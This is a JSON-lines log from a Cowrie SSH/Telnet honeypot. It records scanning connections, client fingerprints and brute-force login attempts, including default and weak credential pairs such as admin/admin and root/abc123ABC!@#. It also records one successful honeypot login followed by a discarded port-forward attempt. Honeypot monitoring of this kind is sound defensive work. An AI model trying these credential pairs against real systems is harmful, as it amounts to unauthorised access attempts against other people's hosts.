{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:38.311664Z","src_ip":"61.155.106.101","session":"6bc2f1a78289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.54570174217224,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:38.492609Z","src_ip":"137.184.155.248","session":"827b2481e478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.513407468795776,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:38.678840Z","src_ip":"137.184.155.248","session":"d18c1ff9f105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"90afe32164cd","protocol":"telnet","message":"New connection: 137.184.155.248:60018 (10.17.0.5:23) [session: 90afe32164cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:40.446831Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":51594,"dst_ip":"159.203.135.109","dst_port":22,"session":"13567e3edee7","protocol":"ssh","message":"New connection: 202.125.94.71:51594 (159.203.135.109:22) [session: 13567e3edee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:40.452111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:40.456369Z","src_ip":"202.125.94.71","session":"13567e3edee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:40.713195Z","src_ip":"202.125.94.71","session":"13567e3edee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123ABC!@#","message":"login attempt [root/abc123ABC!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:41.775136Z","src_ip":"202.125.94.71","session":"13567e3edee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:43.035253Z","src_ip":"202.125.94.71","session":"13567e3edee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":59892,"dst_ip":"10.17.0.5","dst_port":22,"session":"d21257daff41","protocol":"ssh","message":"New connection: 190.244.39.232:59892 (10.17.0.5:22) [session: d21257daff41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:43.043386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:43.051325Z","src_ip":"190.244.39.232","session":"d21257daff41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:43.253253Z","src_ip":"190.244.39.232","session":"d21257daff41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"a1b2c3","message":"login attempt [postgres/a1b2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:44.085962Z","src_ip":"190.244.39.232","session":"d21257daff41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:45.290850Z","src_ip":"190.244.39.232","session":"d21257daff41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36164,"dst_ip":"10.17.0.5","dst_port":23,"session":"803989c5c4a3","protocol":"telnet","message":"New connection: 137.184.155.248:36164 (10.17.0.5:23) [session: 803989c5c4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:47.712362Z"}
{"eventid":"cowrie.session.closed","duration":13.302988290786743,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:48.290304Z","src_ip":"187.252.204.241","session":"555abcd0cf6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.13304781913757,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:53.305326Z","src_ip":"137.184.155.248","session":"b6cbf2bda854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.694252729415894,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:55.938535Z","src_ip":"137.184.155.248","session":"d7cbe3e5f07c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34932,"dst_ip":"10.17.0.5","dst_port":23,"session":"82bb2f5fabe4","protocol":"telnet","message":"New connection: 137.184.155.248:34932 (10.17.0.5:23) [session: 82bb2f5fabe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:57.706444Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"63e6bc18af3f","protocol":"telnet","message":"New connection: 137.184.155.248:34938 (10.17.0.5:23) [session: 63e6bc18af3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:06:57.962995Z"}
{"eventid":"cowrie.session.closed","duration":30.80561375617981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:03.100860Z","src_ip":"213.129.84.225","session":"704560cb13ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52078,"dst_ip":"10.17.0.5","dst_port":23,"session":"1431bf310c92","protocol":"telnet","message":"New connection: 137.184.155.248:52078 (10.17.0.5:23) [session: 1431bf310c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:03.935334Z"}
{"eventid":"cowrie.session.closed","duration":43.879143714904785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:07.786996Z","src_ip":"137.184.155.248","session":"4aba0ef66260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52090,"dst_ip":"10.17.0.5","dst_port":23,"session":"811486439d4a","protocol":"telnet","message":"New connection: 137.184.155.248:52090 (10.17.0.5:23) [session: 811486439d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:08.272265Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56826,"dst_ip":"10.17.0.5","dst_port":23,"session":"08dab060c64f","protocol":"telnet","message":"New connection: 137.184.155.248:56826 (10.17.0.5:23) [session: 08dab060c64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:16.759127Z"}
{"eventid":"cowrie.session.closed","duration":47.24367713928223,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:17.970660Z","src_ip":"137.184.155.248","session":"7994f0b94e5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.771172523498535,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:30.217895Z","src_ip":"137.184.155.248","session":"90afe32164cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.89846634864807,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:30.610708Z","src_ip":"137.184.155.248","session":"803989c5c4a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":32944,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2c758c3b9b","protocol":"telnet","message":"New connection: 137.184.155.248:32944 (10.17.0.5:23) [session: be2c758c3b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:34.740946Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":40868,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebda2c60cb20","protocol":"ssh","message":"New connection: 148.230.169.229:40868 (10.17.0.5:22) [session: ebda2c60cb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:40.307878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:40.312083Z","src_ip":"148.230.169.229","session":"ebda2c60cb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:40.378261Z","src_ip":"148.230.169.229","session":"ebda2c60cb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wasadmin","password":"wasadmin","message":"login attempt [wasadmin/wasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:40.679622Z","src_ip":"148.230.169.229","session":"ebda2c60cb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":46140,"dst_ip":"159.203.135.109","dst_port":22,"session":"784fde1b3106","protocol":"ssh","message":"New connection: 202.125.94.71:46140 (159.203.135.109:22) [session: 784fde1b3106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:41.194809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:41.199524Z","src_ip":"202.125.94.71","session":"784fde1b3106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:41.463789Z","src_ip":"202.125.94.71","session":"784fde1b3106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.794193506240845,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:41.500510Z","src_ip":"137.184.155.248","session":"82bb2f5fabe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:41.746362Z","src_ip":"148.230.169.229","session":"ebda2c60cb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reza@2024","message":"login attempt [root/reza@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:42.550739Z","src_ip":"202.125.94.71","session":"784fde1b3106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.36572194099426,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:43.328595Z","src_ip":"137.184.155.248","session":"63e6bc18af3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:43.816937Z","src_ip":"202.125.94.71","session":"784fde1b3106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d01adc6c05bc","protocol":"telnet","message":"New connection: 137.184.155.248:41126 (10.17.0.5:23) [session: d01adc6c05bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:46.494418Z"}
{"eventid":"cowrie.session.closed","duration":47.125208139419556,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:51.060396Z","src_ip":"137.184.155.248","session":"1431bf310c92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41134,"dst_ip":"10.17.0.5","dst_port":23,"session":"6753438002a4","protocol":"telnet","message":"New connection: 137.184.155.248:41134 (10.17.0.5:23) [session: 6753438002a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:51.908351Z"}
{"eventid":"cowrie.session.closed","duration":46.09286332130432,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:54.364969Z","src_ip":"137.184.155.248","session":"811486439d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47394,"dst_ip":"10.17.0.5","dst_port":22,"session":"62bf29814ce3","protocol":"ssh","message":"New connection: 87.251.64.176:47394 (10.17.0.5:22) [session: 62bf29814ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:55.331199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:55.335782Z","src_ip":"87.251.64.176","session":"62bf29814ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:55.432409Z","src_ip":"87.251.64.176","session":"62bf29814ce3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:55.721087Z","src_ip":"87.251.64.176","session":"62bf29814ce3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:55.820909Z","session":"62bf29814ce3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:55.918579Z","src_ip":"87.251.64.176","session":"62bf29814ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:56.153762Z","src_ip":"87.251.64.176","session":"62bf29814ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":32896,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ba530223b95","protocol":"telnet","message":"New connection: 213.129.84.225:32896 (159.203.135.109:23) [session: 3ba530223b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:07:58.193486Z"}
{"eventid":"cowrie.session.closed","duration":44.52754735946655,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:01.286544Z","src_ip":"137.184.155.248","session":"08dab060c64f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51430,"dst_ip":"10.17.0.5","dst_port":23,"session":"46acb1fa098b","protocol":"telnet","message":"New connection: 137.184.155.248:51430 (10.17.0.5:23) [session: 46acb1fa098b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:11.201421Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":35078,"dst_ip":"10.17.0.5","dst_port":22,"session":"6726a4a46f59","protocol":"ssh","message":"New connection: 58.186.20.101:35078 (10.17.0.5:22) [session: 6726a4a46f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:14.492979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:08:14.497851Z","src_ip":"58.186.20.101","session":"6726a4a46f59","protocol":"ssh"}
